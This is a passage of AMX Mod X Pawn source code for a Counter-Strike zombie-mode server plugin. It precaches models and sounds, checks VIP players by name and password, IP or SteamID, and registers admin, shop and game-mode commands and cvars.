		format ( Buffer, charsmax ( Buffer ), "models/player/%s/%s.mdl", Buffer, Buffer );

		engfunc ( EngFunc_PrecacheModel, Buffer );
	}

	if ( ArraySize ( ModelAssassin ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetAssassinModels ); i ++ )

			ArrayPushString ( ModelAssassin, GetAssassinModels [i] );
	}

	for ( i = 0; i < ArraySize ( ModelAssassin ); i ++ )
	{
		ArrayGetString ( ModelAssassin, i, Buffer, charsmax ( Buffer ) );

		format ( Buffer, charsmax ( Buffer ), "models/player/%s/%s.mdl", Buffer, Buffer );

		engfunc ( EngFunc_PrecacheModel, Buffer );
	}

	if ( ArraySize ( ModelSurvivor ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSurvivorModels ); i ++ )

		ArrayPushString ( ModelSurvivor, GetSurvivorModels [i] );
	}

	for ( i = 0; i < ArraySize ( ModelSurvivor); i ++ )
	{
		ArrayGetString( ModelSurvivor, i, Buffer, charsmax ( Buffer ) );

		format ( Buffer, charsmax ( Buffer ), "models/player/%s/%s.mdl", Buffer, Buffer );

		engfunc ( EngFunc_PrecacheModel, Buffer );
	}

	if ( ArraySize ( ModelSniper ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSniperModels ); i ++ )

		ArrayPushString ( ModelSniper, GetSniperModels [i] );
	}

         for ( i = 0; i < ArraySize ( ModelSniper ); i ++ )
	{
		ArrayGetString( ModelSniper, i, Buffer, charsmax ( Buffer ) );

		format ( Buffer, charsmax ( Buffer ), "models/player/%s/%s.mdl", Buffer, Buffer );

		engfunc ( EngFunc_PrecacheModel, Buffer );
	}

	if ( ArraySize ( ModelOwnerHuman ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetOwnerModels ); i ++ )

		ArrayPushString ( ModelOwnerHuman, GetOwnerModels [i] );
	}

	for ( i = 0; i < ArraySize ( ModelOwnerHuman ); i ++ )
	{
		ArrayGetString ( ModelOwnerHuman, i, Buffer, charsmax ( Buffer ) );

		format ( Buffer, charsmax ( Buffer ), "models/player/%s/%s.mdl", Buffer, Buffer );

		engfunc ( EngFunc_PrecacheModel, Buffer );
	}

	if ( ArraySize ( ModelAdminHuman ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetAdminModels ); i ++ )

		ArrayPushString ( ModelAdminHuman, GetAdminModels [i] );
	}

	for ( i = 0; i < ArraySize ( ModelAdminHuman ); i ++ )
	{
		ArrayGetString ( ModelAdminHuman, i, Buffer, charsmax ( Buffer ) );

		format ( Buffer, charsmax ( Buffer ), "models/player/%s/%s.mdl", Buffer, Buffer );

		engfunc ( EngFunc_PrecacheModel, Buffer );
	}

	engfunc ( EngFunc_PrecacheModel, GetModelKnifeHuman );

	engfunc ( EngFunc_PrecacheModel, GetModelKnifeNemesis );

	engfunc ( EngFunc_PrecacheModel, GetModelKnifeAssassin );

	engfunc ( EngFunc_PrecacheModel, vGetModelAwpSniper );

	engfunc ( EngFunc_PrecacheModel, pGetModelAwpSniper );

	engfunc ( EngFunc_PrecacheModel, GetModelGrenadeInfect );

	engfunc ( EngFunc_PrecacheModel, GetModelGrenadeExplode );

	engfunc ( EngFunc_PrecacheModel, GetModelGrenadeFire );

	engfunc ( EngFunc_PrecacheModel, GetModelGrenadeFrost );

	engfunc ( EngFunc_PrecacheModel, GetModelGrenadeKilling );

	engfunc ( EngFunc_PrecacheModel, GetModelTripmine );

	engfunc ( EngFunc_PrecacheModel, Goldenak47_v );

	engfunc ( EngFunc_PrecacheModel, Goldenak47_p );

	engfunc ( EngFunc_PrecacheModel, Goldev );

	engfunc ( EngFunc_PrecacheModel, Goldep );

	engfunc ( EngFunc_PrecacheSound, "ZombieOutstanding/mine_activate.wav" );

	engfunc ( EngFunc_PrecacheSound, "ZombieOutstanding/mine_charge.wav" );

	engfunc ( EngFunc_PrecacheSound, "ZombieOutstanding/mine_deploy.wav" );

	TrailSpr = engfunc ( EngFunc_PrecacheModel, "sprites/laserbeam.spr" );

	ExploSpr = engfunc ( EngFunc_PrecacheModel, "sprites/shockwave.spr" );

	FlameSpr = engfunc ( EngFunc_PrecacheModel, "sprites/ZombieOutstanding/z_out_flame.spr" );

	SmokeSpr = engfunc ( EngFunc_PrecacheModel, "sprites/black_smoke3.spr" );

	GlassSpr = engfunc ( EngFunc_PrecacheModel, "models/glassgibs.mdl" );

	HExplode = engfunc ( EngFunc_PrecacheModel, "sprites/zerogxplode.spr" );

	JPSmokeSpr = engfunc ( EngFunc_PrecacheModel, "sprites/smoke.spr" );

	xFireBallSpr = engfunc ( EngFunc_PrecacheModel, "sprites/xfireball3.spr" );

	WhiteSpr = engfunc ( EngFunc_PrecacheModel, "sprites/white.spr" );

	engfunc ( EngFunc_PrecacheSound, "fvox/flatline.wav" );

	engfunc ( EngFunc_PrecacheModel, GetModelRocket );

	precache_model ( "models/p_egon.mdl" );

	precache_model ( "models/v_egon.mdl" );

	precache_model ( "models/w_egon.mdl" );

	if ( ArraySize ( SoundWinZombies ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundWinZombies ); i ++ )

			ArrayPushString ( SoundWinZombies, GetSoundWinZombies [i] );
	}

	for ( i = 0; i < ArraySize ( SoundWinZombies ); i ++ )
	{
		ArrayGetString ( SoundWinZombies, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( SoundWinHumans ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundWinHumans ); i ++ )

			ArrayPushString ( SoundWinHumans, GetSoundWinHumans [i] );
	}

	for ( i = 0; i < ArraySize ( SoundWinHumans ); i ++ )
	{
		ArrayGetString ( SoundWinHumans, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( SoundWinNoOne ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundWinNoOne ); i ++ )

			ArrayPushString ( SoundWinNoOne, GetSoundWinNoOne [i] );
	}

	for ( i = 0; i < ArraySize ( SoundWinNoOne ); i ++ )
	{
		ArrayGetString ( SoundWinNoOne, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( ZombieInfect ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundZombieInfect ); i ++ )

			ArrayPushString ( ZombieInfect, GetSoundZombieInfect [i] );
	}

	for ( i = 0; i < ArraySize ( ZombieInfect ); i ++ )
	{
		ArrayGetString ( ZombieInfect, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( ZombiePain ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundZombiePain ); i ++ )

			ArrayPushString ( ZombiePain, GetSoundZombiePain [i] );
	}

	for ( i = 0; i < ArraySize ( ZombiePain ); i ++ )
	{
		ArrayGetString ( ZombiePain, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( NemesisPain ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundNemesisPain ); i ++ )

			ArrayPushString ( NemesisPain, GetSoundNemesisPain [i] );
	}

	for ( i = 0; i < ArraySize ( NemesisPain ); i ++ )
	{
		ArrayGetString ( NemesisPain, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( AssassinPain ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundAssassinPain ); i ++ )

			ArrayPushString ( AssassinPain, GetSoundAssassinPain [i] );
	}

	for ( i = 0; i < ArraySize ( AssassinPain ); i ++ )
	{
		ArrayGetString ( AssassinPain, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( ZombieDie ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundZombieDie ); i ++ )

			ArrayPushString ( ZombieDie, GetSoundZombieDie [i] );
	}

	for ( i = 0; i < ArraySize ( ZombieDie ); i ++ )
	{
		ArrayGetString ( ZombieDie, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( ZombieFall ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundZombieFall ); i ++ )

			ArrayPushString ( ZombieFall, GetSoundZombieFall [i] );
	}


	for ( i = 0; i < ArraySize ( ZombieFall ); i ++ )
	{
		ArrayGetString ( ZombieFall, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( ZombieMissSlash ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundZombieMissSlash ); i ++ )

			ArrayPushString ( ZombieMissSlash, GetSoundZombieMissSlash [i] );
	}

	for ( i = 0; i < ArraySize ( ZombieMissSlash ); i ++ )
	{
		ArrayGetString ( ZombieMissSlash, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( ZombieMissWall ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundZombieMissWall ); i ++ )

			ArrayPushString ( ZombieMissWall, GetSoundZombieMissWall [i] );
	}

	for ( i = 0; i < ArraySize ( ZombieMissWall ); i ++ )
	{
		ArrayGetString ( ZombieMissWall, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( ZombieHitNormal ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundZombieHitNormal ); i ++ )

			ArrayPushString ( ZombieHitNormal, GetSoundZombieHitNormal [i] );
	}

	for ( i = 0; i < ArraySize ( ZombieHitNormal ); i ++ )
	{
		ArrayGetString ( ZombieHitNormal, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( ZombieHitStab ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundZombieHitStab ); i ++ )

			ArrayPushString ( ZombieHitStab, GetSoundZombieHitStab [i] );
	}

	for ( i = 0; i < ArraySize ( ZombieHitStab ); i ++ )
	{
		ArrayGetString ( ZombieHitStab, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( ZombieMadness ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundZombieMadness ); i ++ )

			ArrayPushString ( ZombieMadness, GetSoundZombieMadness [i] );
	}

	for ( i = 0; i < ArraySize ( ZombieMadness ); i ++ )
	{
		ArrayGetString ( ZombieMadness, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( SoundNemesis ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundNemesis ); i ++ )

			ArrayPushString ( SoundNemesis, GetSoundNemesis [i] );
	}

	for ( i = 0; i < ArraySize ( SoundNemesis ); i ++ )
	{
		ArrayGetString ( SoundNemesis, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( SoundAssassin ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundAssassin ); i ++ )

			ArrayPushString ( SoundAssassin, GetSoundAssassin [i] );
	}

	for ( i = 0; i < ArraySize ( SoundAssassin ); i ++ )
	{
		ArrayGetString ( SoundAssassin, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( SoundSurvivor ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundSurvivor ); i ++ )

			ArrayPushString ( SoundSurvivor, GetSoundSurvivor [i] );
	}

	for ( i = 0; i < ArraySize ( SoundSurvivor ); i ++ )
	{
		ArrayGetString ( SoundSurvivor, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( SoundSniper ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundSniper ); i ++ )

			ArrayPushString ( SoundSniper, GetSoundSniper [i] );
	}

	for ( i = 0; i < ArraySize ( SoundSniper ); i ++ )
	{
		ArrayGetString ( SoundSniper, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( SoundSwarm ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundSwarm ); i ++ )

			ArrayPushString ( SoundSwarm, GetSoundSwarm [i] );
	}

	for ( i = 0; i < ArraySize ( SoundSwarm ); i ++ )
	{
		ArrayGetString ( SoundSwarm, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( SoundMulti ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundMulti ); i ++ )

			ArrayPushString ( SoundMulti, GetSoundMulti [i] );
	}

	for ( i = 0; i < ArraySize ( SoundMulti ); i ++ )
	{
		ArrayGetString ( SoundMulti, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( SoundPlague ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundPlague ); i ++ )

			ArrayPushString ( SoundPlague, GetSoundPlague [i] );
	}

	for ( i = 0; i < ArraySize ( SoundPlague ); i ++ )
	{
		ArrayGetString ( SoundPlague, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( SoundArmageddon ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundArmageddon ); i ++ )

			ArrayPushString ( SoundArmageddon, GetSoundArmageddon [i] );
	}

	for ( i = 0; i < ArraySize ( SoundArmageddon ); i ++ )
	{
		ArrayGetString ( SoundArmageddon, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( SoundApocalypse ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundApocalypse ); i ++ )

			ArrayPushString ( SoundApocalypse, GetSoundApocalypse [i] );
	}

	for ( i = 0; i < ArraySize ( SoundApocalypse ); i ++ )
	{
		ArrayGetString ( SoundApocalypse, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( SoundNightmare ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundNightmare ); i ++ )

			ArrayPushString ( SoundNightmare, GetSoundNightmare [i] );
	}

	for ( i = 0; i < ArraySize ( SoundNightmare ); i ++ )
	{
		ArrayGetString ( SoundNightmare, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( GrenadeInfect ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundGrenadeInfect ); i ++ )

			ArrayPushString ( GrenadeInfect, GetSoundGrenadeInfect [i] );
	}

	for ( i = 0; i < ArraySize ( GrenadeInfect ); i ++ )
	{
		ArrayGetString ( GrenadeInfect, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( GrenadeInfectPlayer ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundGrenadeInfectPlayer ); i ++ )

			ArrayPushString ( GrenadeInfectPlayer, GetSoundGrenadeInfectPlayer [i] );
	}

	for ( i = 0; i < ArraySize ( GrenadeInfectPlayer ); i ++ )
	{
		ArrayGetString ( GrenadeInfectPlayer, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( GrenadeFire ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundGrenadeFire ); i ++ )

			ArrayPushString ( GrenadeFire, GetSoundGrenadeFire [i] );
	}

	for ( i = 0; i < ArraySize ( GrenadeFire ); i ++ )
	{
		ArrayGetString ( GrenadeFire, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( GrenadeFirePlayer ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundGrenadeFirePlayer ); i ++ )

			ArrayPushString ( GrenadeFirePlayer, GetSoundGrenadeFirePlayer [i] );
	}

	for ( i = 0; i < ArraySize ( GrenadeFirePlayer ); i ++ )
	{
		ArrayGetString ( GrenadeFirePlayer, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( GrenadeFrost ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundGrenadeFrost ); i ++ )

		ArrayPushString ( GrenadeFrost, GetSoundGrenadeFrost [i] );
	}

	for ( i = 0; i < ArraySize ( GrenadeFrost ); i ++ )
	{
		ArrayGetString ( GrenadeFrost, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( GrenadeFrostPlayer ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundGrenadeFrostPlayer ); i ++ )

		ArrayPushString ( GrenadeFrostPlayer, GetSoundGrenadeFrostPlayer [i] );
	}


	for ( i = 0; i < ArraySize ( GrenadeFrostPlayer ); i ++ )
	{
		ArrayGetString ( GrenadeFrostPlayer, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( GrenadeFrostBreak ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundGrenadeFrostBreak ); i ++ )

		ArrayPushString ( GrenadeFrostBreak, GetSoundGrenadeFrostBreak [i] );
	}

	for ( i = 0; i < ArraySize ( GrenadeFrostBreak ); i ++ )
	{
		ArrayGetString ( GrenadeFrostBreak, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( SoundAntidote ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundAntidote ); i ++ )

		ArrayPushString ( SoundAntidote, GetSoundAntidote [i] );
	}

	for ( i = 0; i < ArraySize ( SoundAntidote ); i ++ )
	{
		ArrayGetString ( SoundAntidote, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( SoundAmbience_01 ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundAmbienceInfection ); i ++ )

			ArrayPushString ( SoundAmbience_01, GetSoundAmbienceInfection [i] )

	}

	for ( i = 0; i < ArraySize ( SoundAmbience_01 ); i ++ )
	{
		ArrayGetString ( SoundAmbience_01, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( SoundAmbience_02 ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundAmbienceNemesis ); i ++ )

			ArrayPushString ( SoundAmbience_02, GetSoundAmbienceNemesis [i] )

	}

	for ( i = 0; i < ArraySize ( SoundAmbience_02 ); i ++ )
	{
		ArrayGetString ( SoundAmbience_02, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( SoundAmbience_03 ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundAmbienceAssassin ); i ++ )

			ArrayPushString ( SoundAmbience_03, GetSoundAmbienceAssassin [i] )

	}

	for ( i = 0; i < ArraySize ( SoundAmbience_03 ); i ++ )
	{
		ArrayGetString ( SoundAmbience_03, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( SoundAmbience_04 ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundAmbienceNemesis ); i ++ )

			ArrayPushString ( SoundAmbience_04, GetSoundAmbienceSurvivor [i] )

	}

	for ( i = 0; i < ArraySize ( SoundAmbience_04 ); i ++ )
	{
		ArrayGetString ( SoundAmbience_04, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( SoundAmbience_05 ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundAmbienceSniper ); i ++ )

			ArrayPushString ( SoundAmbience_05, GetSoundAmbienceSniper [i] )

	}

	for ( i = 0; i < ArraySize ( SoundAmbience_05 ); i ++ )
	{
		ArrayGetString ( SoundAmbience_05, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( SoundAmbience_06 ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundAmbienceSwarm ); i ++ )

			ArrayPushString ( SoundAmbience_06, GetSoundAmbienceSwarm [i] )

	}

	for ( i = 0; i < ArraySize ( SoundAmbience_06 ); i ++ )
	{
		ArrayGetString ( SoundAmbience_06, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( SoundAmbience_07 ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundAmbiencePlague ); i ++ )

			ArrayPushString ( SoundAmbience_07, GetSoundAmbiencePlague [i] )

	}

	for ( i = 0; i < ArraySize ( SoundAmbience_07 ); i ++ )
	{
		ArrayGetString ( SoundAmbience_07, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( SoundAmbience_08 ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundAmbienceArmageddon); i ++ )

			ArrayPushString ( SoundAmbience_08, GetSoundAmbienceArmageddon [i] )

	}

	for ( i = 0; i < ArraySize ( SoundAmbience_08 ); i ++ )
	{
		ArrayGetString ( SoundAmbience_08, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( SoundAmbience_09 ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundAmbienceApocalypse ); i ++ )

			ArrayPushString ( SoundAmbience_09, GetSoundAmbienceApocalypse [i] )

	}

	for ( i = 0; i < ArraySize ( SoundAmbience_09 ); i ++ )
	{
		ArrayGetString ( SoundAmbience_09, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	if ( ArraySize ( SoundAmbience_10 ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetSoundAmbienceNightmare ); i ++ )

			ArrayPushString ( SoundAmbience_10, GetSoundAmbienceNightmare [i] )

	}

	for ( i = 0; i < ArraySize ( SoundAmbience_10 ); i ++ )
	{
		ArrayGetString ( SoundAmbience_10, i, Buffer, charsmax ( Buffer ) );

		engfunc ( EngFunc_PrecacheSound, Buffer );
	}

	engfunc ( EngFunc_PrecacheSound, "items/9mmclip1.wav" );

	engfunc ( EngFunc_PrecacheSound, "player/bhit_helmet-1.wav" );

	engfunc ( EngFunc_PrecacheSound, "items/tr_kevlar.wav" );

	engfunc ( EngFunc_PrecacheSound, "ZombieOutstanding/rocket_fire.wav" );

	engfunc ( EngFunc_PrecacheSound, "items/gunpickup2.wav" );

	engfunc ( EngFunc_PrecacheSound, "items/9mmclip2.wav" );

	engfunc ( EngFunc_PrecacheSound, "ZombieOutstanding/jetpack_fly.wav" );

	engfunc ( EngFunc_PrecacheSound, "ZombieOutstanding/jetpack_blow.wav" );

	new Entity;

	Entity = engfunc ( EngFunc_CreateNamedEntity, engfunc ( EngFunc_AllocString, "hostage_entity" ) );

	if ( pev_valid ( Entity ) )
	{
		engfunc ( EngFunc_SetOrigin, Entity, Float: {8192.0,8192.0,8192.0} );

		dllfunc ( DLLFunc_Spawn, Entity );
	}

	Entity = engfunc ( EngFunc_CreateNamedEntity, engfunc ( EngFunc_AllocString, "env_fog" ) );

	if ( pev_valid ( Entity ) )
	{
		fm_set_kvd ( Entity, "density", "0.00084655", "env_fog" );

		fm_set_kvd ( Entity, "rendercolor", "121 121 121", "env_fog" );
	}

	set_lights ( "d" );

	fwSpawn = register_forward ( FM_Spawn, "fmSpawn" );

	fwPrecacheSound = register_forward ( FM_PrecacheSound, "fmPrecacheSound" );
}

public AddArmor(id)
{
	static CsArmorType:at;
	if (IsAlive[id])
	{
		if (containi(g_vip_flags[id], "A") != -1 && cs_get_user_armor(id, at) < 100)
		cs_set_user_armor(id, 65, CS_ARMOR_VESTHELM);

		if (containi(g_vip_flags[id], "H") != -1 && get_user_health(id)<300)
		set_user_health(id, 300);
	}
}

public client_authorized(id)
{
	static pwd[32], field[32], reqname[64], reqpwd[64], reqflags[64], i;

	get_cvar_string("amx_password_field", field, 31);

	get_user_ip(id, UserIp[id], charsmax(UserIp[]), 1);
	get_user_name(id, PlayerName[id], charsmax(PlayerName[]));
	get_user_authid(id, g_iSteam[id], charsmax(g_iSteam[]));
	get_user_info(id, field, pwd, 31);

	g_doubledamage[id] = false;
	g_vip[id] = false;

	for (i = 0; i < ArraySize(g_vname); i++)
	{
		ArrayGetString(g_vname, i, reqname, 63);
		ArrayGetString(g_vpwd, i, reqpwd, 63);
		ArrayGetString(g_vflags, i, reqflags, 63);

		if (equali(PlayerName[id], reqname))
		{
			if (equali(pwd, reqpwd) && strlen(pwd) > 0)
			{
				g_vip[id] = true;
				formatex(g_vip_flags[id], charsmax(g_vip_flags[]), "%s", reqflags);
				break;
			}

			else
			{
				server_cmd("kick #%d  INVALiD ViP PASSWORD.", get_user_userid(id));
				break;
			}
		}

		if (equali(UserIp[id], reqname) || equali(g_iSteam[id], reqname))
		{
			g_vip[id] = true;
			formatex(g_vip_flags[id], charsmax(g_vip_flags[]), "%s", reqflags);
			break;
		}
	}

	loadPoints(id);
	get_pcvar_num ( AmxMode) ? accessUser ( id ) : PLUGIN_CONTINUE
}

public menu_rank(id, key)
{
    switch (key)
    {
        default:
        {
            return 0;
        }
    }
	return 0;
}


public plugin_init (  )
{

	/* -------------- | Comand Admin | ------------ */

	register_clcmd ( "amx_freeze", "CmdFreeze" );

	register_clcmd ( "amx_unfreeze", "CmdUnfreeze" );

	register_clcmd ( "amx_destroy", "CmdDestroy" );

	register_clcmd ( "amx_reloadtags", "cmdReloadTags" );

	register_clcmd ( "amx_reloadadmins", "cmdReload" );

	register_clcmd ( "amx_kick", "cmdKick" );

	register_clcmd ( "amx_ban", "cmdBan" );

	register_clcmd ( "amx_addban", "cmdAddBan" );

	register_clcmd ( "amx_unban", "cmdUnban" );

	register_clcmd ( "amx_slay", "cmdSlay" );

	register_clcmd ( "amx_slap", "cmdSlap" );

	register_clcmd ( "amx_map", "cmdMap" );

	register_clcmd ( "amx_nick", "cmdNick" );

	register_clcmd ( "amx_ip", "cmdIp" );

	register_clcmd ( "amx_gag", "cmdGag" );

	register_clcmd ( "amx_ungag", "cmdUnGag" );

	register_clcmd ( "say", "CheckGag" );

	register_clcmd ( "say", "cmdSayChat", ADMIN_CHAT, "@[@|@|@][w|r|g|b|y|m|c]<text> - displays hud message" )

	register_clcmd ( "say_team", "CheckGag" );

	register_clcmd ( "say_team", "cmdSayAdmin" );

	register_clcmd ( "amx_say", "cmdSay" );

	register_clcmd ( "amx_psay", "cmdPsay" );

	register_clcmd ( "amx_tsay", "cmdTsay" );

	register_clcmd ( "amx_chat", "cmdChat" );

	register_clcmd ( "amx_who", "cmdWho" );

	register_clcmd ( "say", "CheckSay" );

	register_clcmd ( "say_team", "CheckSayTeam" );

	register_clcmd ( "amx_points", "cmdPoints")

	register_clcmd ( "amx_human", "cmdMadeHuman" );

	register_clcmd ( "amx_survivor", "cmdMadeSurvivor" );

	register_clcmd ( "amx_sniper", "cmdMadeSniper" );

	register_clcmd ( "amx_zombie", "cmdMadeZombie" );

	register_clcmd ( "amx_nemesis", "cmdMadeNemesis" );

	register_clcmd ( "amx_assassin", "cmdMadeAssassin" );

	register_clcmd ( "amx_respawn", "cmdRespawn" );

	register_clcmd ( "amx_multiple", "cmdMulti" );

	register_clcmd ( "amx_plague", "cmdPlague" );

	register_clcmd ( "amx_swarm", "cmdSwarm" );

	register_clcmd ( "amx_armageddon", "cmdArmageddon" );

	register_clcmd ( "amx_nightmare", "cmdNightmare" );

	register_clcmd ( "amx_assassins_vs_snipers", "cmdApocalypse" );

	/* -------------- | Shop | ------------ */

    cvar_bslot = register_cvar ( "zm_buy_slot_cost", "700" );
	cvar_bam =   register_cvar ( "zm_buy_model_cost", "2250" );
	cvar_100ap = register_cvar ( "zm_buy_100ap", "160" );
	cvar_200ap = register_cvar ( "zm_buy_200ap", "200" );
	cvar_300ap = register_cvar ( "zm_buy_300ap", "280" );
	cvar_dmg2 = register_cvar  ( "zm_dmg2", "120" );
	cvar_god =  register_cvar  ( "zm_godmode", "150" );
	cvar_arnd = register_cvar  ( "zm_arnd", "180" );

	register_clcmd ( "shophm", "commandhm" );
	register_clcmd ( "shopzm", "commandzm" );
	register_clcmd ( "shophm2", "command_buy2" );

	register_menu ( "menu_hm" , KEYS_BUYMENU , "BuyMenuhm" );
	register_menu ( "menu_zm" , KEYS_BUYMENU , "BuyMenuzm" );
	register_menu ( "secondm" , KEYS_BUYMENU , "BuSubmenu" );
	register_menu ( "RankMenu", 1023, "menu_rank", 0);

	register_clcmd ( "amx_password_for_slot", "slot" );

	register_clcmd ( "amx_password_for_model", "model" );

	g_msgSayText = get_user_msgid ( "SayText" );

	Handler = CreateHudSyncObj (  );

	GetMessages = ArrayCreate ( 512 );

	register_dictionary ( "common.txt" );

	AmxMode = register_cvar ( "amx_mode", "1", FCVAR_PROTECTED );

	AmxPasswordField = register_cvar ( "amx_password_field", "_pw", FCVAR_PROTECTED );

	AmxDefaultAccess = register_cvar ( "amx_default_access", "", FCVAR_PROTECTED );

	register_cvar("amx_vote_ratio", "0.02");

	register_cvar("amx_vote_time", "10");

